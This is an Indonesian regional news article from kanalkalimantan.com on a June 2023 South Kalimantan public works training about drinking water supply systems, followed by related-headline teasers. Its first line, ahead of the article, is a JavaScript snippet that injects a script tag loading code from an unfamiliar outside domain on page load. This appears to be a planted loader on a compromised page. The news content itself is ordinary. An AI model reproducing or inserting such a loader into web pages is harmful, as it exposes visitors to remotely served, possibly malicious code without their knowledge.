(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel memberikan Sosialisasi dan Bimbingan Teknis Pengelolaan Sistem Penyediaan Air Minum (SPAM) Kabupaten/Kota di Provinsi Kalsel, Selasa (27/6/2023).
Kegiatan itu dilaksanakan dalam rangka mencapai target akses air minum dan sanitasi yang menyeluruh serta target Sustainable Development Goals (SDGs).
Kepala Dinas PUPR Kalsel, Ir Ahmad Solhan ST, MT dalam sambutan tertulisnya yang dibacakan oleh Kepala Bidang Cipta Karya Ryan Tirta Nugraha mengatakan, kegiatan sosialisasi dan bimbingan teknis ini dilaksanakan guna meningkatkan keterlibatan pemerintah daerah dan pemerintah pusat dalam melaksanakan program prioritas penyediaan air minum untuk mencapai target akses air minum dan sanitasi yang menyeluruh.
“Serta target sustainable development goals (SDGs) atau tujuan pembangunan berkelanjutan,” tegas dia.
Baca juga: Wilayah Kalsel Mulai Pakai iPubers, Ini Cara Tebus Pupuk Bersubsidi di Kios Resmi
Menurut dia, tingkat pemakaian air bersih secara umum ditentukan berdasar kebutuhan masyarakat untuk kehidupan sehari- hari.
Selain itu, papar Ryan, sesuai dengan target SDGs dalam rangka pencapaian target akses universal air minum dan sanitasi tidak hanya di wilayah perkotaan, namun juga perlu pemenuhan akses air minum di perdesaan dan pinggiran kota.
Sosialisasi dan Bimbingan Teknis Pengelolaan Sistem Penyediaan Air Minum (SPAM) Kabupaten/Kota di Provinsi Kalsel, Selasa (27/6/2023). Foto: MC Kalsel
“Melalui pertemuan pusat, provinsi dan kabupaten/ kota ini, diharapkan dapat dijadikan sebagai sarana konsultasi dan saling berbagi informasi dan pengalaman sehingga pada akhirnya dapat mendorong kinerja pemerintah kabupaten/kota untuk meningkatkan kualitas pelayanan dasar bidang air minum,” katanya.
Oleh karena itu, berdasar data setiap tahunnya capaian akses air minum layak Provinsi Kalsel mengalami peningkatan, seperti tahun 2022 capaian Kalsel berada di 88,68 persen.
Baca juga: Unjuk Rasa Kasus Tukar Guling Lahan Sawit Wanaraya Batola
Capaian tersebut masih ada gap sekitar 11,32 persen untuk menuju 100 persen air minum layak yang telah ditetapkan pemerintah pusat.
“Jadi kami optimistis pada 2024 dapat mencapai target nasional sebesar 100 persen untuk akses air minum layak,” jelas dia.
Guna mengejar capaian tersebut Dinas PUPR Kalsel memberikan pengetahuan untuk peningkatan terhadap operator dan regulator pengelolaan SPAM di Kabupaten/Kota agar dapat melaksanakan percepatan akses air minum aman guna mencapai target nasional. (kanalkalimantan.com/MCKalsel/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.